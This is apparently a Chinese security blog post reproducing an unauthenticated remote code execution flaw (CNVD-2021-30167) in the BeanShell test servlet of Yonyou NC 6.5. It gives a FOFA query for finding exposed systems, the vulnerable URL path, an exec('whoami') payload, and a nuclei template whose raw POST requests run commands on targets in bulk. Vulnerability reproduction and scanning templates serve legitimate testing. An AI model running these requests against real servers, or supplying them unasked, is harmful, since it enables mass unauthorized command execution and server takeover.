用友NC BeanShell远程代码执行漏洞(CNVD-2021-30167)

发布时间 2023-09-07 15:49:08作者: 学安全的小白

漏洞概述

该漏洞是由于用友 NC 对外开放了 BeanShell 测试接口,并没有设置权限,攻击者可利用该漏洞在未授权的情况下,构造恶意数据,执行任意代码,最终获取服务器最高权限。

影响版本

用友NC6.5版本

漏洞复现

fofa语法:title=="YONYOU NC"
系统默认页面:

无需登录,直接访问 URLhttp://xxx.xxx.xxx.xxx/servlet/~ic/bsh.servlet.BshServlet 进入 BeanShell Test Servlet 页面

BeanShell Test Servlet 页面有执行代码的接口,输入 payload 如:exec("whoami"); 即可看到命令执行成功。

该漏洞为第三方 jar 包的漏洞导致的。如果存在 servlet/~ic/bsh.servlet.BshServlet 路径且能正常访问,则大概率会存在该漏洞。

nuclei批量yaml文件

nuclei自带

id: CNVD-2021-30167

info:
  name: UFIDA NC BeanShell Remote Command Execution
  author: pikpikcu
  severity: critical
  description: UFIDA NC BeanShell contains a remote command execution vulnerability in the bsh.servlet.BshServlet program.
  reference:
    - https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A
    - https://www.cnvd.org.cn/webinfo/show/6491
    - https://chowdera.com/2022/03/202203110138271510.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cwe-id: CWE-77
  tags: cnvd,cnvd2021,beanshell,rce,yonyou
  metadata:
    max-request: 2

http:
  - raw:
      - | #linux
        POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        bsh.script=exec("id");

      - | #windows
        POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        bsh.script=exec("ipconfig");

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "uid="
          - "Windows IP"
        condition: or

      - type: word
        words:
          - "BeanShell Test Servlet"

      - type: status
        status:
          - 200